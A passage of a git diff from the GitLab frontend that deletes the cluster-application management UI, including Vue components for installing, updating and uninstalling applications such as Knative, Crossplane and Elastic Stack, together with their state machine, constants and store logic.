- @set="setKnativeDomain"
- />
- </template>
- <template v-if="cloudRun" #installed-via>
- <span data-testid="installed-via">
- <gl-sprintf
- :message="s__('ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}')"
- >
- <template #link="{ content }">
- <gl-link :href="cloudRunHelpPath" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </span>
- </template>
- </application-row>
- <application-row
- id="elastic_stack"
- :logo-url="$options.logos.elasticStackLogo"
- :title="applications.elastic_stack.title"
- :status="applications.elastic_stack.status"
- :status-reason="applications.elastic_stack.statusReason"
- :request-status="applications.elastic_stack.requestStatus"
- :request-reason="applications.elastic_stack.requestReason"
- :version="applications.elastic_stack.version"
- :chart-repo="applications.elastic_stack.chartRepo"
- :update-available="applications.elastic_stack.updateAvailable"
- :installed="applications.elastic_stack.installed"
- :install-failed="applications.elastic_stack.installFailed"
- :update-successful="applications.elastic_stack.updateSuccessful"
- :update-failed="applications.elastic_stack.updateFailed"
- :uninstallable="applications.elastic_stack.uninstallable"
- :uninstall-successful="applications.elastic_stack.uninstallSuccessful"
- :uninstall-failed="applications.elastic_stack.uninstallFailed"
- title-link="https://gitlab.com/gitlab-org/charts/elastic-stack"
- >
- <template #description>
- <p>
- {{
- s__(
- `ClusterIntegration|The elastic stack collects logs from all pods in your cluster`,
- )
- }}
- </p>
- </template>
- </application-row>
-
- <div class="gl-mt-7 gl-border-1 gl-border-t-solid gl-border-gray-100">
- <!-- This empty div serves as a separator. The applications below can be externally installed using a cluster-management project. -->
- </div>
-
- <application-row
- id="cilium"
- :title="applications.cilium.title"
- :logo-url="$options.logos.gitlabLogo"
- :status="applications.cilium.status"
- :status-reason="applications.cilium.statusReason"
- :installable="applications.cilium.installable"
- :uninstallable="applications.cilium.uninstallable"
- :installed="applications.cilium.installed"
- :install-failed="applications.cilium.installFailed"
- :title-link="ciliumHelpPath"
- >
- <template #description>
- <p data-testid="ciliumDescription">
- <gl-sprintf
- :message="
- s__(
- 'ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}',
- )
- "
- >
- <template #link="{ content }">
- <gl-link :href="ciliumHelpPath" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
- </template>
- </application-row>
- </div>
- </section>
-</template>
diff --git a/app/assets/javascripts/clusters/components/crossplane_provider_stack.vue b/app/assets/javascripts/clusters/components/crossplane_provider_stack.vue
deleted file mode 100644
index 6b99bb09504..00000000000
--- a/app/assets/javascripts/clusters/components/crossplane_provider_stack.vue
+++ /dev/null
@@ -1,93 +0,0 @@
-<script>
-import { GlDropdown, GlDropdownItem, GlIcon } from '@gitlab/ui';
-import { s__ } from '../../locale';
-
-export default {
- name: 'CrossplaneProviderStack',
- components: {
- GlDropdown,
- GlDropdownItem,
- GlIcon,
- },
- props: {
- stacks: {
- type: Array,
- required: false,
- default: () => [
- {
- name: s__('Google Cloud Platform'),
- code: 'gcp',
- },
- {
- name: s__('Amazon Web Services'),
- code: 'aws',
- },
- {
- name: s__('Microsoft Azure'),
- code: 'azure',
- },
- {
- name: s__('Rook'),
- code: 'rook',
- },
- ],
- },
- crossplane: {
- type: Object,
- required: true,
- },
- },
- computed: {
- dropdownText() {
- const result = this.stacks.reduce((map, obj) => {
- // eslint-disable-next-line no-param-reassign
- map[obj.code] = obj.name;
- return map;
- }, {});
- const { stack } = this.crossplane;
- if (stack !== '') {
- return result[stack];
- }
- return s__('Select Stack');
- },
- validationError() {
- return this.crossplane.validationError;
- },
- },
- methods: {
- selectStack(stack) {
- this.$emit('set', stack);
- },
- },
-};
-</script>
-
-<template>
- <div>
- <label>
- {{ s__('ClusterIntegration|Enabled stack') }}
- </label>
- <gl-dropdown
- :disabled="crossplane.installed"
- :text="dropdownText"
- toggle-class="dropdown-menu-toggle gl-field-error-outline"
- class="w-100"
- :class="{ 'gl-show-field-errors': validationError }"
- >
- <gl-dropdown-item v-for="stack in stacks" :key="stack.code" @click="selectStack(stack)">
- <span class="ml-1">{{ stack.name }}</span>
- </gl-dropdown-item>
- </gl-dropdown>
- <span v-if="validationError" class="gl-field-error">{{ validationError }}</span>
- <p class="form-text text-muted">
- {{ s__(`You must select a stack for configuring your cloud provider. Learn more about`) }}
- <a
- href="https://crossplane.io/docs/master/stacks-guide.html"
- target="_blank"
- rel="noopener noreferrer"
- >{{ __('Crossplane') }}
- <gl-icon name="external-link" class="vertical-align-middle" />
- </a>
- </p>
- </div>
-</template>
diff --git a/app/assets/javascripts/clusters/components/knative_domain_editor.vue b/app/assets/javascripts/clusters/components/knative_domain_editor.vue
deleted file mode 100644
index 89446680173..00000000000
--- a/app/assets/javascripts/clusters/components/knative_domain_editor.vue
+++ /dev/null
@@ -1,232 +0,0 @@
-<script>
-import {
- GlDropdown,
- GlDropdownDivider,
- GlDropdownItem,
- GlLoadingIcon,
- GlSearchBoxByType,
- GlSprintf,
- GlButton,
- GlAlert,
-} from '@gitlab/ui';
-import { APPLICATION_STATUS } from '~/clusters/constants';
-import { __, s__ } from '~/locale';
-
-import ClipboardButton from '../../vue_shared/components/clipboard_button.vue';
-
-const { UPDATING, UNINSTALLING } = APPLICATION_STATUS;
-
-export default {
- components: {
- GlButton,
- ClipboardButton,
- GlLoadingIcon,
- GlDropdown,
- GlDropdownDivider,
- GlDropdownItem,
- GlSearchBoxByType,
- GlSprintf,
- GlAlert,
- },
- props: {
- knative: {
- type: Object,
- required: true,
- },
- ingressDnsHelpPath: {
- type: String,
- default: '',
- required: false,
- },
- },
- data() {
- return {
- searchQuery: '',
- };
- },
- computed: {
- saveButtonDisabled() {
- return [UNINSTALLING, UPDATING].includes(this.knative.status);
- },
- saving() {
- return [UPDATING].includes(this.knative.status);
- },
- saveButtonLabel() {
- return this.saving ? __('Saving') : __('Save changes');
- },
- knativeInstalled() {
- return this.knative.installed;
- },
- knativeExternalEndpoint() {
- return this.knative.externalIp || this.knative.externalHostname;
- },
- knativeUpdateSuccessful() {
- return this.knative.updateSuccessful;
- },
- knativeHostname: {
- get() {
- return this.knative.hostname;
- },
- set(hostname) {
- this.selectCustomDomain(hostname);
- },
- },
- domainDropdownText() {
- return this.knativeHostname || s__('ClusterIntegration|Select existing domain or use new');
- },
- availableDomains() {
- return this.knative.availableDomains || [];
- },
- filteredDomains() {
- const query = this.searchQuery.toLowerCase();
- return this.availableDomains.filter(({ domain }) => domain.toLowerCase().includes(query));
- },
- showDomainsDropdown() {
- return this.availableDomains.length > 0;
- },
- validationError() {
- return this.knative.validationError;
- },
- },
- watch: {
- knativeUpdateSuccessful(updateSuccessful) {
- if (updateSuccessful) {
- this.$toast.show(s__('ClusterIntegration|Knative domain name was updated successfully.'));
- }
- },
- },
- methods: {
- selectDomain({ id, domain }) {
- this.$emit('set', { domain, domainId: id });
- },
- selectCustomDomain(domain) {
- this.$emit('set', { domain, domainId: null });
- },
- },
-};
-</script>
-
-<template>
- <div class="row">
- <gl-alert
- v-if="knative.updateFailed"
- class="gl-mb-5 col-12 js-cluster-knative-domain-name-failure-message"
- variant="danger"
- >
- {{ s__('ClusterIntegration|Something went wrong while updating Knative domain name.') }}
- </gl-alert>
-
- <div
- :class="{ 'col-md-6': knativeInstalled, 'col-12': !knativeInstalled }"
- class="form-group col-sm-12 mb-0"
- >
- <label for="knative-domainname">
- <strong>{{ s__('ClusterIntegration|Knative Domain Name:') }}</strong>
- </label>
-
- <gl-dropdown
- v-if="showDomainsDropdown"
- :text="domainDropdownText"
- toggle-class="dropdown-menu-toggle"
- class="w-100 mb-2"
- >
- <gl-search-box-by-type
- v-model.trim="searchQuery"
- :placeholder="s__('ClusterIntegration|Search domains')"
- />
- <gl-dropdown-item
- v-for="domain in filteredDomains"
- :key="domain.id"
- @click="selectDomain(domain)"
- >
- <span class="ml-1">{{ domain.domain }}</span>
- </gl-dropdown-item>
- <template v-if="searchQuery">
- <gl-dropdown-divider />
- <gl-dropdown-item key="custom-domain" @click="selectCustomDomain(searchQuery)">
- <span class="ml-1">
- <gl-sprintf :message="s__('ClusterIntegration|Use %{query}')">
- <template #query>
- <code>{{ searchQuery }}</code>
- </template>
- </gl-sprintf>
- </span>
- </gl-dropdown-item>
- </template>
- </gl-dropdown>
-
- <input
- v-else
- id="knative-domainname"
- v-model="knativeHostname"
- type="text"
- class="form-control js-knative-domainname"
- />
-
- <span v-if="validationError" class="gl-field-error">{{ validationError }}</span>
- </div>
-
- <template v-if="knativeInstalled">
- <div class="form-group col-sm-12 col-md-6 pl-md-0 mb-0 mt-3 mt-md-0">
- <label for="knative-endpoint">
- <strong>{{ s__('ClusterIntegration|Knative Endpoint:') }}</strong>
- </label>
- <div v-if="knativeExternalEndpoint" class="input-group">
- <input
- id="knative-endpoint"
- :value="knativeExternalEndpoint"
- type="text"
- class="form-control js-knative-endpoint"
- readonly
- />
- <span class="input-group-append">
- <clipboard-button
- :text="knativeExternalEndpoint"
- :title="s__('ClusterIntegration|Copy Knative Endpoint')"
- class="input-group-text js-knative-endpoint-clipboard-btn"
- />
- </span>
- </div>
- <div v-else class="input-group">
- <input type="text" class="form-control js-endpoint" readonly />
- <gl-loading-icon
- class="position-absolute align-self-center ml-2 js-knative-ip-loading-icon"
- />
- </div>
- </div>
-
- <p class="form-text text-muted col-12">
- {{
- s__(
- `ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint.`,
- )
- }}
- <a :href="ingressDnsHelpPath" target="_blank" rel="noopener noreferrer">{{
- __('More information')
- }}</a>
- </p>
-
- <p
- v-if="!knativeExternalEndpoint"
- class="settings-message js-no-knative-endpoint-message mt-2 mr-3 mb-0 ml-3"
- >
- {{
- s__(`ClusterIntegration|The endpoint is in
- the process of being assigned. Please check your Kubernetes
- cluster or Quotas on Google Kubernetes Engine if it takes a long time.`)
- }}
- </p>
-
- <gl-button
- class="js-knative-save-domain-button gl-mt-5 gl-ml-5"
- variant="success"
- category="primary"
- :loading="saving"
- :disabled="saveButtonDisabled"
- @click="$emit('save')"
- >
- {{ saveButtonLabel }}
- </gl-button>
- </template>
- </div>
-</template>
diff --git a/app/assets/javascripts/clusters/components/uninstall_application_button.vue b/app/assets/javascripts/clusters/components/uninstall_application_button.vue
deleted file mode 100644
index 73191d6d84d..00000000000
--- a/app/assets/javascripts/clusters/components/uninstall_application_button.vue
+++ /dev/null
@@ -1,36 +0,0 @@
-<script>
-import { GlButton } from '@gitlab/ui';
-import { APPLICATION_STATUS } from '~/clusters/constants';
-import { __ } from '~/locale';
-
-const { UPDATING, UNINSTALLING } = APPLICATION_STATUS;
-
-export default {
- components: {
- GlButton,
- },
- props: {
- status: {
- type: String,
- required: true,
- },
- },
- computed: {
- disabled() {
- return [UNINSTALLING, UPDATING].includes(this.status);
- },
- loading() {
- return this.status === UNINSTALLING;
- },
- label() {
- return this.loading ? __('Uninstalling') : __('Uninstall');
- },
- },
-};
-</script>
-
-<template>
- <gl-button :disabled="disabled" variant="default" :loading="loading">
- {{ label }}
- </gl-button>
-</template>
diff --git a/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue b/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
deleted file mode 100644
index 2a197e40b60..00000000000
--- a/app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue
+++ /dev/null
@@ -1,101 +0,0 @@
-<script>
-import { GlModal, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import trackUninstallButtonClickMixin from 'ee_else_ce/clusters/mixins/track_uninstall_button_click';
-import { sprintf, s__ } from '~/locale';
-import {
- HELM,
- INGRESS,
- CERT_MANAGER,
- PROMETHEUS,
- RUNNER,
- KNATIVE,
- JUPYTER,
- ELASTIC_STACK,
-} from '../constants';
-
-const CUSTOM_APP_WARNING_TEXT = {
- [HELM]: sprintf(
- s__(
- 'ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected.',
- ),
- {
- gitlabManagedAppsNamespace: '<code>gitlab-managed-apps</code>',
- },
- false,
- ),
- [INGRESS]: s__(
- 'ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored.',
- ),
- [CERT_MANAGER]: s__(
- 'ClusterIntegration|The associated private key will be deleted and cannot be restored.',
- ),
- [PROMETHEUS]: s__('ClusterIntegration|All data will be deleted and cannot be restored.'),
- [RUNNER]: s__('ClusterIntegration|Any running pipelines will be canceled.'),
- [KNATIVE]: s__(
- 'ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications.',
- ),
- [JUPYTER]: s__(
- 'ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored.',
- ),
- [ELASTIC_STACK]: s__('ClusterIntegration|All data will be deleted and cannot be restored.'),
-};
-
-export default {
- components: {
- GlModal,
- },
- directives: {
- SafeHtml,
- },
- mixins: [trackUninstallButtonClickMixin],
- props: {
- application: {
- type: String,
- required: true,
- },
- applicationTitle: {
- type: String,
- required: true,
- },
- },
- computed: {
- title() {
- return sprintf(s__('ClusterIntegration|Uninstall %{appTitle}'), {
- appTitle: this.applicationTitle,
- });
- },
- warningText() {
- return sprintf(
- s__('ClusterIntegration|You are about to uninstall %{appTitle} from your cluster.'),
- {
- appTitle: this.applicationTitle,
- },
- );
- },
- customAppWarningText() {
- return CUSTOM_APP_WARNING_TEXT[this.application];
- },
- modalId() {
- return `uninstall-${this.application}`;
- },
- },
- methods: {
- confirmUninstall() {
- this.trackUninstallButtonClick(this.application);
- this.$emit('confirm');
- },
- },
-};
-</script>
-<template>
- <gl-modal
- ok-variant="danger"
- cancel-variant="light"
- :ok-title="title"
- :modal-id="modalId"
- :title="title"
- @ok="confirmUninstall()"
- >
- {{ warningText }} <span v-safe-html="customAppWarningText"></span>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue b/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue
deleted file mode 100644
index 0aedc6e84fa..00000000000
--- a/app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue
+++ /dev/null
@@ -1,66 +0,0 @@
-<script>
-/* eslint-disable vue/no-v-html */
-import { GlModal } from '@gitlab/ui';
-import { sprintf, s__ } from '~/locale';
-import { ELASTIC_STACK } from '../constants';
-
-const CUSTOM_APP_WARNING_TEXT = {
- [ELASTIC_STACK]: s__(
- 'ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days.',
- ),
-};
-
-export default {
- components: {
- GlModal,
- },
- props: {
- application: {
- type: String,
- required: true,
- },
- applicationTitle: {
- type: String,
- required: true,
- },
- },
- computed: {
- title() {
- return sprintf(s__('ClusterIntegration|Update %{appTitle}'), {
- appTitle: this.applicationTitle,
- });
- },
- warningText() {
- return sprintf(
- s__('ClusterIntegration|You are about to update %{appTitle} on your cluster.'),
- {
- appTitle: this.applicationTitle,
- },
- );
- },
- customAppWarningText() {
- return CUSTOM_APP_WARNING_TEXT[this.application];
- },
- modalId() {
- return `update-${this.application}`;
- },
- },
- methods: {
- confirmUpdate() {
- this.$emit('confirm');
- },
- },
-};
-</script>
-<template>
- <gl-modal
- ok-variant="danger"
- cancel-variant="light"
- :ok-title="title"
- :modal-id="modalId"
- :title="title"
- @ok="confirmUpdate()"
- >
- {{ warningText }} <span v-html="customAppWarningText"></span>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/clusters/constants.js b/app/assets/javascripts/clusters/constants.js
index 846e5950b8b..c6ca895778d 100644
--- a/app/assets/javascripts/clusters/constants.js
+++ b/app/assets/javascripts/clusters/constants.js
@@ -10,64 +10,7 @@ export const PROVIDER_TYPE = {
GCP: 'gcp',
};
-// These need to match what is returned from the server
-export const APPLICATION_STATUS = {
- NO_STATUS: null,
- NOT_INSTALLABLE: 'not_installable',
- INSTALLABLE: 'installable',
- SCHEDULED: 'scheduled',
- INSTALLING: 'installing',
- INSTALLED: 'installed',
- UPDATING: 'updating',
- UPDATED: 'updated',
- UPDATE_ERRORED: 'update_errored',
- UNINSTALLING: 'uninstalling',
- UNINSTALL_ERRORED: 'uninstall_errored',
- ERROR: 'errored',
- PRE_INSTALLED: 'pre_installed',
- UNINSTALLED: 'uninstalled',
- EXTERNALLY_INSTALLED: 'externally_installed',
-};
-
-/*
- * The application cannot be in any of the following states without
- * not being installed.
- */
-export const APPLICATION_INSTALLED_STATUSES = [
- APPLICATION_STATUS.INSTALLED,
- APPLICATION_STATUS.UPDATING,
- APPLICATION_STATUS.UNINSTALLING,
- APPLICATION_STATUS.PRE_INSTALLED,
-];
-
// These are only used client-side
-export const UPDATE_EVENT = 'update';
-export const INSTALL_EVENT = 'install';
-export const UNINSTALL_EVENT = 'uninstall';
-
-export const HELM = 'helm';
-export const INGRESS = 'ingress';
-export const JUPYTER = 'jupyter';
-export const KNATIVE = 'knative';
-export const RUNNER = 'runner';
-export const CERT_MANAGER = 'cert_manager';
-export const CROSSPLANE = 'crossplane';
-export const PROMETHEUS = 'prometheus';
-export const ELASTIC_STACK = 'elastic_stack';
-
-export const APPLICATIONS = [
- HELM,
- INGRESS,
- JUPYTER,
- KNATIVE,
- RUNNER,
- CERT_MANAGER,
- PROMETHEUS,
- ELASTIC_STACK,
-];
-
-export const INGRESS_DOMAIN_SUFFIX = '.nip.io';
-
export const LOGGING_MODE = 'logging';
export const BLOCKING_MODE = 'blocking';
diff --git a/app/assets/javascripts/clusters/services/application_state_machine.js b/app/assets/javascripts/clusters/services/application_state_machine.js
deleted file mode 100644
index 2ff604af9a7..00000000000
--- a/app/assets/javascripts/clusters/services/application_state_machine.js
+++ /dev/null
@@ -1,250 +0,0 @@
-import { APPLICATION_STATUS, UPDATE_EVENT, INSTALL_EVENT, UNINSTALL_EVENT } from '../constants';
-
-const {
- NO_STATUS,
- SCHEDULED,
- NOT_INSTALLABLE,
- INSTALLABLE,
- INSTALLING,
- INSTALLED,
- ERROR,
- UPDATING,
- UPDATED,
- UPDATE_ERRORED,
- UNINSTALLING,
- UNINSTALL_ERRORED,
- PRE_INSTALLED,
- UNINSTALLED,
- EXTERNALLY_INSTALLED,
-} = APPLICATION_STATUS;
-
-const applicationStateMachine = {
- /* When the application initially loads, it will have `NO_STATUS`
- * It will transition from `NO_STATUS` once the async backend call is completed
- */
- [NO_STATUS]: {
- on: {
- [SCHEDULED]: {
- target: INSTALLING,
- },
- [NOT_INSTALLABLE]: {
- target: NOT_INSTALLABLE,
- },
- [INSTALLABLE]: {
- target: INSTALLABLE,
- },
- [INSTALLING]: {
- target: INSTALLING,
- },
- [INSTALLED]: {
- target: INSTALLED,
- },
- [ERROR]: {
- target: INSTALLABLE,
- effects: {
- installFailed: true,
- },
- },
- [UPDATING]: {
- target: UPDATING,
- },
- [UPDATED]: {
- target: INSTALLED,
- },
- [UPDATE_ERRORED]: {
- target: INSTALLED,
- effects: {
- updateFailed: true,
- },
- },
- [UNINSTALLING]: {
- target: UNINSTALLING,
- },
- [UNINSTALL_ERRORED]: {
- target: INSTALLED,
- effects: {
- uninstallFailed: true,
- },
- },
- [PRE_INSTALLED]: {
- target: PRE_INSTALLED,
- },
- [UNINSTALLED]: {
- target: UNINSTALLED,
- },
- [EXTERNALLY_INSTALLED]: {
- target: EXTERNALLY_INSTALLED,
- },
- },
- },
- [NOT_INSTALLABLE]: {
- on: {
- [INSTALLABLE]: {
- target: INSTALLABLE,
- },
- },
- },
- [INSTALLABLE]: {
- on: {
- [INSTALL_EVENT]: {
- target: INSTALLING,
- effects: {
- installFailed: false,
- },
- },
- [NOT_INSTALLABLE]: {
- target: NOT_INSTALLABLE,
- },
- [INSTALLED]: {
- target: INSTALLED,
- effects: {
- installFailed: false,
- },
- },
- [UNINSTALLED]: {
- target: UNINSTALLED,
- effects: {
- installFailed: false,
- },
- },
- },
- },
- [INSTALLING]: {
- on: {
- [INSTALLED]: {
- target: INSTALLED,
- },
- [ERROR]: {
- target: INSTALLABLE,
- effects: {
- installFailed: true,
- },
- },
- },
- },
- [INSTALLED]: {
- on: {
- [UPDATE_EVENT]: {
- target: UPDATING,
- effects: {
- updateFailed: false,
- updateSuccessful: false,
- },
- },
- [NOT_INSTALLABLE]: {
- target: NOT_INSTALLABLE,
- },
- [UNINSTALL_EVENT]: {
- target: UNINSTALLING,
- effects: {
- uninstallFailed: false,
- uninstallSuccessful: false,
- },
- },
- [UNINSTALLED]: {
- target: UNINSTALLED,
- },
- [ERROR]: {
- target: INSTALLABLE,
- effects: {
- installFailed: true,
- },
- },
- },
- },
- [PRE_INSTALLED]: {
- on: {
- [UPDATE_EVENT]: {
- target: UPDATING,
- effects: {
- updateFailed: false,
- updateSuccessful: false,
- },
- },
- [NOT_INSTALLABLE]: {
- target: NOT_INSTALLABLE,
- },
- [UNINSTALL_EVENT]: {
- target: UNINSTALLING,
- effects: {
- uninstallFailed: false,
- uninstallSuccessful: false,
- },
- },
- },
- },
- [UPDATING]: {
- on: {
- [UPDATED]: {
- target: INSTALLED,
- effects: {
- updateSuccessful: true,
- },
- },
- [UPDATE_ERRORED]: {
- target: INSTALLED,
- effects: {
- updateFailed: true,
- },
- },
- },
- },
- [UNINSTALLING]: {
- on: {
- [INSTALLABLE]: {
- target: INSTALLABLE,
- effects: {
- uninstallSuccessful: true,
- },
- },
- [NOT_INSTALLABLE]: {
- target: NOT_INSTALLABLE,
- effects: {
- uninstallSuccessful: true,
- },
- },
- [UNINSTALL_ERRORED]: {
- target: INSTALLED,
- effects: {
- uninstallFailed: true,
- },
- },
- },
- },
- [UNINSTALLED]: {
- on: {
- [INSTALLED]: {
- target: INSTALLED,
- },
- [ERROR]: {
- target: INSTALLABLE,
- effects: {
- installFailed: true,
- },
- },
- },
- },
-};
-
-/**
- * Determines an application new state based on the application current state
- * and an event. If the application current state cannot handle a given event,
- * the current state is returned.
- *
- * @param {*} application
- * @param {*} event
- */
-const transitionApplicationState = (application, event) => {
- const stateMachine = applicationStateMachine[application.status];
- const newState = stateMachine !== undefined ? stateMachine.on[event] : false;
-
- return newState
- ? {
- ...application,
- status: newState.target,
- ...newState.effects,
- }
- : application;
-};
-
-export default transitionApplicationState;
diff --git a/app/assets/javascripts/clusters/services/clusters_service.js b/app/assets/javascripts/clusters/services/clusters_service.js
index 333fb293a15..7300bb3137a 100644
--- a/app/assets/javascripts/clusters/services/clusters_service.js
+++ b/app/assets/javascripts/clusters/services/clusters_service.js
@@ -3,38 +3,12 @@ import axios from '../../lib/utils/axios_utils';
export default class ClusterService {
constructor(options = {}) {
this.options = options;
- this.appInstallEndpointMap = {
- helm: this.options.installHelmEndpoint,
- ingress: this.options.installIngressEndpoint,
- cert_manager: this.options.installCertManagerEndpoint,
- crossplane: this.options.installCrossplaneEndpoint,
- runner: this.options.installRunnerEndpoint,
- prometheus: this.options.installPrometheusEndpoint,
- jupyter: this.options.installJupyterEndpoint,
- knative: this.options.installKnativeEndpoint,
- elastic_stack: this.options.installElasticStackEndpoint,
- };
- this.appUpdateEndpointMap = {
- knative: this.options.updateKnativeEndpoint,
- };
}
fetchClusterStatus() {
return axios.get(this.options.endpoint);
}
- installApplication(appId, params) {
- return axios.post(this.appInstallEndpointMap[appId], params);
- }
-
- updateApplication(appId, params) {
- return axios.patch(this.appUpdateEndpointMap[appId], params);
- }
-
- uninstallApplication(appId, params) {
- return axios.delete(this.appInstallEndpointMap[appId], params);
- }
-
fetchClusterEnvironments() {
return axios.get(this.options.clusterEnvironmentsEndpoint);
}
diff --git a/app/assets/javascripts/clusters/stores/clusters_store.js b/app/assets/javascripts/clusters/stores/clusters_store.js
index 50689a6142f..db6e7bad6cc 100644
--- a/app/assets/javascripts/clusters/stores/clusters_store.js
+++ b/app/assets/javascripts/clusters/stores/clusters_store.js
@@ -1,112 +1,16 @@
import { parseBoolean } from '../../lib/utils/common_utils';
-import { s__ } from '../../locale';
-import {
- INGRESS,
- JUPYTER,
- KNATIVE,
- CERT_MANAGER,
- CROSSPLANE,
- RUNNER,
- APPLICATION_INSTALLED_STATUSES,
- APPLICATION_STATUS,
- INSTALL_EVENT,
- UPDATE_EVENT,
- UNINSTALL_EVENT,
- ELASTIC_STACK,
-} from '../constants';
-import transitionApplicationState from '../services/application_state_machine';
-
-const isApplicationInstalled = (appStatus) => APPLICATION_INSTALLED_STATUSES.includes(appStatus);
-
-const applicationInitialState = {
- status: null,
- statusReason: null,
- requestReason: null,
- installable: true,
- installed: false,
- installFailed: false,
- uninstallable: false,
- uninstallFailed: false,
- uninstallSuccessful: false,
- validationError: null,
-};
export default class ClusterStore {
constructor() {
this.state = {
helpPath: null,
- helmHelpPath: null,
- ingressHelpPath: null,
environmentsHelpPath: null,
clustersHelpPath: null,
deployBoardsHelpPath: null,
- cloudRunHelpPath: null,
status: null,
providerType: null,
- preInstalledKnative: false,
rbac: false,
statusReason: null,
- applications: {
- helm: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Legacy Helm Tiller server'),
- },
- ingress: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Ingress'),
- externalIp: null,
- externalHostname: null,
- updateFailed: false,
- updateAvailable: false,
- },
- cert_manager: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Cert-Manager'),
- email: null,
- },
- crossplane: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Crossplane'),
- stack: null,
- },
- runner: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|GitLab Runner'),
- version: null,
- chartRepo: 'https://gitlab.com/gitlab-org/charts/gitlab-runner',
- updateAvailable: null,
- updateSuccessful: false,
- updateFailed: false,
- },
- prometheus: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Prometheus'),
- },
- jupyter: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|JupyterHub'),
- hostname: null,
- },
- knative: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Knative'),
- hostname: null,
- isEditingDomain: false,
- externalIp: null,
- externalHostname: null,
- updateSuccessful: false,
- updateFailed: false,
- },
- elastic_stack: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Elastic Stack'),
- },
- cilium: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|GitLab Container Network Policies'),
- installable: false,
- },
- },
environments: [],
fetchingEnvironments: false,
};
@@ -118,10 +22,6 @@ export default class ClusterStore {
});
}
- setManagePrometheusPath(managePrometheusPath) {
- this.state.managePrometheusPath = managePrometheusPath;
- }
-
updateStatus(status) {
this.state.status = status;
}
@@ -130,10 +30,6 @@ export default class ClusterStore {
this.state.providerType = providerType;
}
- updatePreInstalledKnative(preInstalledKnative) {
- this.state.preInstalledKnative = parseBoolean(preInstalledKnative);
- }
-
updateRbac(rbac) {
this.state.rbac = parseBoolean(rbac);
}
@@ -142,112 +38,9 @@ export default class ClusterStore {
this.state.statusReason = reason;
}
- installApplication(appId) {
- this.handleApplicationEvent(appId, INSTALL_EVENT);
- }
-
- notifyInstallFailure(appId) {
- this.handleApplicationEvent(appId, APPLICATION_STATUS.ERROR);
- }
-
- updateApplication(appId) {
- this.handleApplicationEvent(appId, UPDATE_EVENT);
- }
-
- notifyUpdateFailure(appId) {
- this.handleApplicationEvent(appId, APPLICATION_STATUS.UPDATE_ERRORED);
- }
-
- uninstallApplication(appId) {
- this.handleApplicationEvent(appId, UNINSTALL_EVENT);
- }
-
- notifyUninstallFailure(appId) {
- this.handleApplicationEvent(appId, APPLICATION_STATUS.UNINSTALL_ERRORED);
- }
-
- handleApplicationEvent(appId, event) {
- const currentAppState = this.state.applications[appId];
-
- this.state.applications[appId] = transitionApplicationState(currentAppState, event);
- }
-
- updateAppProperty(appId, prop, value) {
- this.state.applications[appId][prop] = value;
- }
-
updateStateFromServer(serverState = {}) {
this.state.status = serverState.status;
this.state.statusReason = serverState.status_reason;
-
- serverState.applications.forEach((serverAppEntry) => {
- const {
- name: appId,
- status,
- status_reason: statusReason,
- version,
- update_available: updateAvailable,
- can_uninstall: uninstallable,
- } = serverAppEntry;
- const currentApplicationState = this.state.applications[appId] || {};
- const nextApplicationState = transitionApplicationState(currentApplicationState, status);
-
- this.state.applications[appId] = {
- ...currentApplicationState,
- ...nextApplicationState,
- statusReason,
- installed: isApplicationInstalled(nextApplicationState.status),
- uninstallable,
- };
-
- if (appId === INGRESS) {
- this.state.applications.ingress.externalIp = serverAppEntry.external_ip;
- this.state.applications.ingress.externalHostname = serverAppEntry.external_hostname;
- this.state.applications.ingress.updateAvailable = updateAvailable;
- } else if (appId === CERT_MANAGER) {
- this.state.applications.cert_manager.email =
- this.state.applications.cert_manager.email || serverAppEntry.email;
- } else if (appId === CROSSPLANE) {
- this.state.applications.crossplane.stack =
- this.state.applications.crossplane.stack || serverAppEntry.stack;
- } else if (appId === JUPYTER) {
- this.state.applications.jupyter.hostname = this.updateHostnameIfUnset(
- this.state.applications.jupyter.hostname,
- serverAppEntry.hostname,
- 'jupyter',
- );
- } else if (appId === KNATIVE) {
- if (serverAppEntry.available_domains) {
- this.state.applications.knative.availableDomains = serverAppEntry.available_domains;
- }
- if (!this.state.applications.knative.isEditingDomain) {
- this.state.applications.knative.pagesDomain =
- serverAppEntry.pages_domain || this.state.applications.knative.pagesDomain;
- this.state.applications.knative.hostname =
- serverAppEntry.hostname || this.state.applications.knative.hostname;
- }
- this.state.applications.knative.externalIp =
- serverAppEntry.external_ip || this.state.applications.knative.externalIp;
- this.state.applications.knative.externalHostname =
- serverAppEntry.external_hostname || this.state.applications.knative.externalHostname;
- } else if (appId === RUNNER) {
- this.state.applications.runner.version = version;
- this.state.applications.runner.updateAvailable = updateAvailable;
- } else if (appId === ELASTIC_STACK) {
- this.state.applications.elastic_stack.version = version;
